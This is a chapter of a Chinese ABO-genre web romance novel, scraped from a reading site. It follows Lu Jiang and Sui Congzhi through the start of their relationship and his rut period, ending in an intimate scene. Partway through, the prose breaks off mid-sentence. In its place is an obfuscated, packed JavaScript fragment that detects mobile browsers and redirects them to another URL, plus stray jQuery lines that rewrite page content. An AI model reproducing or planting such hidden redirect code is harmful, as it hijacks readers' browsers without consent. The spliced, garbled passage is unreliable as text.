默认冷灰
24号文字
方正启体

43. 阿辛,陪我

作者:女好本书字数:K更新时间:
    路姜谈恋爱这件事并没有大张旗鼓的“官宣”,只是约了几个熟识的朋友吃饭,算是肯定随从之的“男朋友”地位。


    繁茂这厮知道这个消息后很是蹬鼻子上脸,用手机狂给她反复发“姐弟”这个词。


    路姜被她恼得不行。但偏偏掐着时间算,随从之回来还不到一个月,她们这就已经搞在一起,实在是没有反驳的底气。


    只是关于要怎么跟路妁商量这件事能让她接受,路姜还没有答案。基于共振反应迟早要跟路妁开诚布公这一点,拖字诀最多也只能拖到十一长假;路姜打算那时再跟母亲坦白。


    随从之当时听她的规划,频频笑意盎然地点头。


    她总感觉他憋着坏:“你什么表情?不怕自己再被遣返回国吗?”


    随从之坐在餐桌对面,托着下巴摇头,口不对心:“我挺怕的。”


    “但阿姨这次,应该会祝福我们吧?”


    真的吗。


    路姜怎么这么不相信呢。


    她无视了他关于此事的意见。在明显是路妁派的秦研那里还藏着掖着,毕竟当初的约定已经被用掉了,秦研不是一个会替她保守秘密的人。


    所以去做腺体检查这些路姜还是一个人去的,将随从之的陪同请求通通拒绝。并且每次出门前要先在自己身上喷很多次清新剂,力求把随从之的信息素全部去掉。


    随从之会把她这种行动点评为“多此一举”。


    理由是她俩现在已经住在一起,身上会沾染彼此的信息素很正常;如果毫无痕迹,反而会显得欲盖弥彰。


    嗯,没错!都已经开始谈恋爱了,路姜当然也不准备继续住宿舍。反正两个住所离得很近,路姜没有立刻去寝室把自己的用品清空,像是蚂蚁搬家一样每次想起点什么会过去把东西给拿回来一点。


    目前在悦华园,她和随从之暂且一个人睡主卧,一人睡次卧。她现在腺体发育尚不完整,普通AO成年时会迎来的分化期还不知何时才会到来。


    随从之的易感期,应该会在一周后到来。算算时间,正好是陪随从之度过易感期后,她俩就可以收拾收拾回去面见母上大人了。


    她和随从之恋爱谈得很顺利,随从之彻底恢复了高中的做派,有空就喜欢跟着她。


    通识课倒没有老师在意,但第一次陪她上专业课时惨遭滑铁卢,被老师认出来是陌生同学,问他是谁;他倒是还记得路姜暂时不想公开,乖乖起身说自己是来蹭课的。老师人好没计较,只是说领导视察也不允许教室里多人,隐晦地暗示他下次注意。


    被批评了自然只能放弃一起上课这件事,结果下次他课间在门口给她送充电宝,又被这位老师撞见。


    路姜出来时,他就站在走廊里跟老师聊天,看上去言笑晏晏的样子甚至要比她跟老师都熟一些。见到路姜,老师人很宽宏,甚至给她放了一节课的假,让她俩出去玩。


    应答知道此事后很是震怒。因为她谈过那么多次恋爱,章老师都没主动给她放过假;偏偏在她跟谷笙分手的空窗期,章老师给路姜放假了。


    她在宿舍群里小发雷霆,被万代点评:仗着章老师不点名翘了那么多次课,竟然还指望章老师主动给你放假。


    但实际上万代才是那个翘了章老师所有课程的女人。


    -


    一般来说,AO的生理周期稳定,易感期和情动期的预测偏差不会超过48小时。在特殊生理期内,信息素无法控制地有逸散情况,这期间一般来说特殊生理性别无法外出,都会请假。


    随从之易感期临近,提前把公寓内的报警器关闭,也已经跟学校请好假期。


    两个人晚上坐在客厅沙发上时,他甚至跟她说,“如果这段时间不方便的话,阿辛可以先去宿舍住。”


    路姜斜过来一眼,觉得他好笑。


    他的心在跟她祈求,让她最好也找理由把所有的课都翘掉,最好在一整个易感期都在公寓里陪他,最好把所有电子产品静音,别让任何有可能的事情来打扰她们。


    可他的嘴难免太硬。


    她故意要逗他:“你认真的?”


    现在随从之已经开始擅长利用共振反应,也擅长无视共振反应。


    他的心在说一回事,但他的嘴可以说另外一回事:“我认真的。”


    他言之凿凿,路姜真要信了他的谎话。


    伸出手捏他的脸颊,又胆大包天地去摸他滚烫的腺体,把人碰得一激灵:“我陪你这件事也是认真的。”


    虽然已经在一起有两周,但随从之还是时常患得患失。


    路姜觉得他很喜欢试探她。


    偶尔会觉得烦,偶尔又会过来反思自己。


    她是不是偶尔对他的态度,不够坚定?


    路姜不等随从之说话,手指抬起,指着他的左眼:“这里写着‘陪’。”


    一顿,指向他右眼,“这里写着‘我’。”


    手指往下,指着他的口:“这里说,‘请你’。”


    于是指尖指着的地方张开,咬住她的指尖,含糊不清地说:“求你。”


    路姜没听清,抽出自己的手指:“合起来说一遍。”


    “——求你陪我。”


    路姜哑然,旋即否认道:“不是这个字。”


    但他没有立即更正。


    ——“请”这个字,太客套了,阿辛。


    比求来得要好吧!


    路姜无言,想了想,又点了点他的唇:“这里说,‘阿辛’。”


    “阿辛,陪我。”


    “好哦。”跟着他这句话,路姜很快答应:“易感期,会陪着你。”


    她声音很轻快,眼睛在客厅暖暖的灯光下也像是有一颗灿烂的太阳:“随从之,你易感期的时候,我会以伴侣的身份陪着你。”


    他用力拥抱住她。


    共振出来的虚构幻影,却柔和地在她眉间落下一吻。


    语无伦次的心声在她耳边熙熙攘攘。


    他说请这个字太客套;可是他的心声却反复地说:阿辛,谢谢你喜欢我。


    次日晨。


    路姜出门去公司时,随从之还没有进入易感期,也并不确定她下班时自己是否会进入易感期。但拿这种东西来做赌注是不道德的,她们已经提前说好无需他接她下班。


    判断他是否进入易感期,对路姜来说很容易。


    以往路姜白天工作时,随从之会频繁给她发消息。


    今天上午照旧。但到了下午,他发来的消息就只剩下一句。


    和他的聊天框里,末尾那一句【阿辛】。


    所以在路姜打开公寓房门时,心里就已经有对随从之进入易感期的预料。


    但即便有所准备,室内的信息素浓度也已;共振反应非常勤恳的运作,再一次进入彻底的乱码阶段,各异的心声几乎饱含着他久待的苦闷,一声接连一声地朝她诉说着自己的寂寞。


    浓度


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986743|189148||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    最高的主卧,房门是紧闭的。但是玄关、客厅也依然弥漫着木质香,公共领域并不杂乱,但是少了很多东西。一眼看过去,应该会是她陆陆续续乱放的一些自己的衣服、或者是各种小玩意儿。


    并不如她所想的那样会有拆家一样的暴力行径,偏偏只拿走那些和她有关的东西更令她有种……难言的寒颤。


    而且她进来到现在,随从之都没有从主卧出来。


    房门紧闭,更显得那个空间如龙潭虎穴。


    路姜放了包,抬手碰了碰自己的后颈。


    她的腺体现在已经有了明显的弧度,从上次因为过载晕过去一直到现在,没有再出现过类似的情况;一方面当然是因为她们有多加小心,另一方面也是她的腺体在逐步发育完好。


    可易感期终究是特殊的。


    而且平常的随从之可以忍耐住不去撕扯她的阻隔贴,易感期的他能吗?


    她收回手,抬步往房间走。


    路姜胡乱想,就算不能……晕过去的话,应该也没什么大不了吧?就是如果易感期的随从之毫无理智,她怕他发疯。


    握住门把手的那一瞬间。


    有人先她一步将门拉开,手臂环住她;路姜原以为客厅的信息素浓度已经够高,现在进来才发现一山更有一山高;客厅还勉强能呼吸,主卧却是到了一进来就已经呼吸困难的程度。


    她后颈那一层阻隔贴,真的有用吗?路姜难免有点怀疑。


    她思索这片刻,对方把门合拢。路姜只来得及听见一声咔哒声,就被人以迅雷不及掩耳之势半抱半托、又像是扛在肩上的姿势,压着上了床榻。


    身下是柔软的床垫,身上他的胸膛滚烫,手臂如钢;从他口腔里哈出来,吹到她面前气息焦灼,如同他嘴里含着炭火,炙烤着皮肉。


    他急不可耐把自己的脸同她凑得更近,直到鼻梁彼此摩挲;路姜没有闭眼,也就能更清楚地看见他此时的燥。


    他甚至没太睁开眼,绿色眸子半眯着,像是意识混沌;偏偏身体还会动,唇瓣在她唇角磨蹭。不止是唇,他的手臂、胸腹、大腿、小腿,都在往她身上贴靠,仿佛是溺水之人在寻找浮木,企图得救。


    路姜许可似的伸出舌尖,润了润他的唇周。


    “……嗯。”


    她话语刚毕,随从之就叼起了她的上唇,吮吻不止;舌侵入她的口腔,抵进深处,席卷本属于她的一切,舔舐每一寸角落,勾弄她的舌尖……水声啧啧作响,他吻得太过放肆,她节节败退。


    口腔里有做乱的东西,闭不上唇,于是涎水旁侧溢出,留下黏腻的水痕。这惹得路姜有些躲避。随从之却仗着她先前同意,更凶狠地朝她压过来,几乎想把她吞吃入腹一般。


    他现在一只压在她的后脑勺不让她躲开,另一只手往她腰间去摸索,把她往自己身上按;既在试图让她的身体更深地融入他,也在把自己的身体往她凑。


    他不满足于现在的这个状态。他往她吻得更狠,却感觉到心脏的渴求并没有得到满足。


    还想要。还想要更多、更多。


    仅仅只是被允许的吻,还不够。


    ——还想要什么?


    他吻去她眼角生理性的泪,牙齿叼咬起她脸颊的肉。


    ——还想要什么?


    他一路顺着往下,含住她的耳垂。


    ——还想要什么?


    细细碎碎地吻她的脖颈时,他嗅闻到更香甜的味道。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)